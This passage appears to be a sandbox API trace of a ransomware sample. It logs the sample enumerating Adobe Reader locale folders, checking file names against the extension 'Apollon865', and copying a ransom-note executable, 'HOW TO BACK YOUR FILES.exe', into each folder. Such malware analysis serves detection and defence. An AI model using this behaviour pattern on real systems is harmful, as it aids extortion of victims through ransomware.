	[0058.255] lstrcmpiW (lpString1="roform.CHS", lpString2="Apollon865") returned 1
	[0058.255] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="AdobeCollabSync.CHS" | out: lpString1="AdobeCollabSync.CHS") returned="AdobeCollabSync.CHS"
	[0058.255] lstrlenW (lpString="AdobeCollabSync.CHS") returned 19
	[0058.255] lstrlenW (lpString="Apollon865") returned 10
	[0058.255] lstrcmpiW (lpString1="abSync.CHS", lpString2="Apollon865") returned -1
	[0058.255] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Annots.CHS" | out: lpString1="Annots.CHS") returned="Annots.CHS"
	[0058.255] lstrlenW (lpString="Annots.CHS") returned 10
	[0058.255] lstrlenW (lpString="Apollon865") returned 10
	[0058.256] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="BRdlang32.CHS" | out: lpString1="BRdlang32.CHS") returned="BRdlang32.CHS"
	[0058.256] lstrlenW (lpString="BRdlang32.CHS") returned 13
	[0058.256] lstrlenW (lpString="Apollon865") returned 10
	[0058.256] lstrcmpiW (lpString1="lang32.CHS", lpString2="Apollon865") returned 1
	[0058.256] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Checkers.CHS" | out: lpString1="Checkers.CHS") returned="Checkers.CHS"
	[0058.256] lstrlenW (lpString="Checkers.CHS") returned 12
	[0058.256] lstrlenW (lpString="Apollon865") returned 10
	[0058.256] lstrcmpiW (lpString1="eckers.CHS", lpString2="Apollon865") returned 1
	[0058.256] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DigSig.CHS" | out: lpString1="DigSig.CHS") returned="DigSig.CHS"
	[0058.256] lstrlenW (lpString="DigSig.CHS") returned 10
	[0058.256] lstrlenW (lpString="Apollon865") returned 10
	[0058.256] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DVA.CHS" | out: lpString1="DVA.CHS") returned="DVA.CHS"
	[0058.256] lstrlenW (lpString="DVA.CHS") returned 7
	[0058.256] lstrlenW (lpString="Apollon865") returned 10
	[0058.257] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services"
	[0058.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0058.257] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services") returned 69
	[0058.257] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services"
	[0058.257] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.257] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.263] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.263] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3acc4230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3acc4230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.264] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.264] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.264] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA"
	[0058.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0228 | out: hHeap=0x580000) returned 1
	[0058.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0058.264] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA") returned 60
	[0058.264] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA"
	[0058.264] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.264] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3acea390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3acea390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.274] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.274] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.275] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services"
	[0058.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0058.275] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned 69
	[0058.275] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services"
	[0058.275] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.275] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.286] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.286] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad104f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad104f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.287] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.287] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.287] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR"
	[0058.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c01a0 | out: hHeap=0x580000) returned 1
	[0058.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0058.287] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR") returned 60
	[0058.287] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR"
	[0058.287] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.294] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.294] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad104f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad104f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.294] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.294] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.295] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services"
	[0058.295] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.295] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0058.295] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services") returned 69
	[0058.295] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services"
	[0058.295] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.295] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.302] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.302] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad104f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad104f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.302] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.302] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.303] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE"
	[0058.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0118 | out: hHeap=0x580000) returned 1
	[0058.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0058.303] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE") returned 60
	[0058.303] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE"
	[0058.303] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.303] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.310] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad36650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad36650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.311] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services"
	[0058.311] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.311] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0058.311] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned 69
	[0058.311] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services"
	[0058.311] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.311] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.318] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad5c7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad5c7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.319] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.319] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.319] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI"
	[0058.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0090 | out: hHeap=0x580000) returned 1
	[0058.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0058.319] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI") returned 60
	[0058.319] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI"
	[0058.319] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.319] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.325] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.325] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad5c7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad5c7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.325] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.325] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.326] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services"
	[0058.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0058.326] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services") returned 69
	[0058.326] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services"
	[0058.326] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.326] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.332] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.332] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ad5c7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ad5c7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.332] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.332] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.332] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK"
	[0058.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0008 | out: hHeap=0x580000) returned 1
	[0058.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0058.332] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK") returned 60
	[0058.332] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK"
	[0058.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.340] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
